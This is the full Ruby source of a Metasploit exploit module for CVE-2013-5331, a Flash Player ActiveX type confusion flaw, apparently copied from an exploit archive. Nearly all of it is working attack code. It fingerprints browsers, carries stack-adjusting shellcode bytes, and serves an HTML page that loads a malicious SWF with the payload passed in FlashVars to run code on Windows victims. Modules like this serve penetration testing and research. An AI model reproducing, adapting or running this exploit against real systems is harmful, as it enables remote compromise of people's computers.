This Metasploit module exploits a type confusion vulnerability found in the ActiveX component of Adobe Flash Player. This vulnerability was found exploited in the wild in November 2013. This Metasploit module has been tested successfully on IE 6 to IE 10 with Flash 11.7, 11.8 and 11.9 prior to 11.9.900.170 over Windows XP SP3 and Windows 7 SP1.
2547432fd02f1ba4aff29ae93a0c14c41a56c95f4cec7e25e1165d0846aa03ec##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player Type Confusion Remote Code Execution",
'Description' => %q{
This module exploits a type confusion vulnerability found in the ActiveX
component of Adobe Flash Player. This vulnerability was found exploited
in the wild in November 2013. This module has been tested successfully
on IE 6 to IE 10 with Flash 11.7, 11.8 and 11.9 prior to 11.9.900.170
over Windows XP SP3 and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery and exploit in the wild
'bannedit', # Exploit in the wild discoverer, analysis and reporting
'juan vazquez' # msf module
],
'References' =>
[
[ 'CVE', '2013-5331' ],
[ 'OSVDB', '100774'],
[ 'BID', '64199'],
[ 'URL', 'http://helpx.adobe.com/security/products/flash-player/apsb13-28.html' ],
[ 'URL', 'http://blog.malwaretracker.com/2014/01/cve-2013-5331-evaded-av-by-using.html' ]
],
'Payload' =>
{
'Space' => 2000,
'DisableNops' => true,
'PrependEncoder' => stack_adjust
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
'Retries' => false,
'EXITFUNC' => "thread"
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
:method => "LoadMovie",
:os_name => Msf::OperatingSystems::WINDOWS,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^11\.[7|8|9]/ && ver < '11.9.900.170' }
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Dec 10 2013",
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def stack_adjust
adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
adjust
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status("Sending SWF...")
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
return
end
print_status("Sending HTML...")
tag = retrieve_tag(cli, request)
profile = get_profile(tag)
profile[:tried] = false unless profile.nil? # to allow request the swf
print_status("showme the money")
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
flash_payload = ""
get_payload(cli,target_info).unpack("V*").each do |i|
flash_payload << "0x#{i.to_s(16)},"
end
flash_payload.gsub!(/,$/, "")
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=flash_payload%>" />
<param name="Play" value="true" />
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2013-5331", "Exploit.swf" )
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end
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